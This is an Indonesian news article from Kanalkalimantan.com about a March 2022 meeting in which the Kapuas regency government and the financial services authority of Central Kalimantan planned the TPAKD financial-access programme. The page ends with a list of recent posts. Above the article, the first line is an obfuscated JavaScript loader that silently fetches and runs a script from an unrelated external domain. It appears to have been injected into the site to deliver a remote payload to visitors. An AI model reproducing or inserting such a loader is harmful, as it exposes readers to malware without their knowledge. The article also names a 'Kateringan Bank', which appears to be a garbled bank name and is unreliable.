(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pemkab Kapuas-OJK Kalteng Susun Program TPAKD 2022, Ini Kata Sekda Kapuas


KANALKALIMANTAN. COM, KUALA KAPUAS – Pemerintah Kabupaten Kapuas bersama Otoritas Jasa Keuangan (OJK) Provinsi Kalimantan Tengah mengadakan pertemuan terkait penyusunan program kerja Tim Percepatan Akses Keuangan Daerah (TPAKD) Kapuas tahun 2022 di aula Bappeda Kabupaten Kapuas, Kamis (17/3/2022).

Kegiatan tersebut dipimpin Sekretaris Daerah (Sekda) Kabupaten Kapuas Drs Septedy MSi didampingi perwakilan OJK Provinsi Kalteng Ricky Chandra, Perwakilan Bank Indonesia (BI) Provinsi Kalteng Bryan Diwo. Turut hadir juga dalam rapat tersebut sejumlah Kepala OPD Lingkup Pemkab Kapuas, Camat dan perwakilan BNI Kuala Kapuas.

Rapat TPAKD tersebut untuk membentuk program kerja untuk mendukung ekonomi masyarakat Kapuas, sesuai dengan yang diamanatkan oleh surat Menteri Dalam Negeri.

Sekda Kabupaten Kapuas Drs Septedy MSi mengatakan, program kerja ini terinspirasi dari operasional Kateringan Bank di Bangladesh, karena bagaimana masyarakat di Bangladesh yang sangat tidak mampu itu bisa mengakses keuangan dengan prosedur yang berbeda dengan masyarakat yang berkecukupan, tetapi Kateringan Bank ini sasarannya adalah masyarakat yang benar-benar tidak mampu diberikan akses tersebut.

 

Baca juga  : Ngopi Bareng PLN UIKL Kalimantan dengan Media Berbasis Siber di Kalsel

Lebih lanjut, Septedy menjelaskan, dilihat dari hasil penelitian program tersebut, hanya 2 persen yang tidak mampu membayar. Artinya dengan program itu 98 persen telah berhasil dengan kunci pelaksanaannya bukan berdasarkan dari belas kasihan, tapi pendekatannya adalah motivasi dan mengangkat harkat dan martabat, serta harga diri itu penegakannya.

“Konsep ini yang mungkin akan kita bangun dalam program kerja di Kabupaten Kapuas, semoga program kerja ini nantinya betul-betul bisa lebih tajam dan lebihnya bisa membantu masyarakat yang benar-benar tidak mampu ini dengan pendekatan dengan juga keterlibatan dari perangkat daerah,” kata Septedy.

Perwakilan OJK Provinsi Kalteng Ricky Chandra mengatakan bahwa TPAKD ini adalah forum koordinasi dan bagaimana suatu sektor keuangan berperan terhadap pengembangan ekonomi di masing-masing daerah, untuk pelaporan serta perencanaannya diharapkan bisa berdiskusi kembali dan bisa ditetapkan beberapa program yang sudah ada.

“Untuk tahap pembentukan program kerja ini bisa menentukan tema terlebih dahulu, sasarannya seperti apa dan klasifikasinya. Program kerja ini tidak selalu baru, tetapi juga bisa dengan program yang telah ada, tetapi bisa terukur dan memenuhi sasaran lebih tepat kepada masyrakat, dengan nanti program-program yang dibuat bisa membantu masyarakat di Kabupaten Kapuas,” ungkapnya. (Kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Bangunan Liar di Atas Sungai Dibongkar Satpol PP Banjarmasin

Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More

6 menit ago

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

6 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

16 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

17 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

17 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

18 jam ago

This website uses cookies.